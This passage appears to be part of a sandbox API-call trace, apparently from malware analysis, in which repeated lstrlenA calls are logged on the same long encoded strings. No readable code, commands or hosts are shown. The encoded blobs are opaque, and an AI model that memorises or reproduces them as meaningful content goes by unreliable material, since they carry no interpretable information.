LHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="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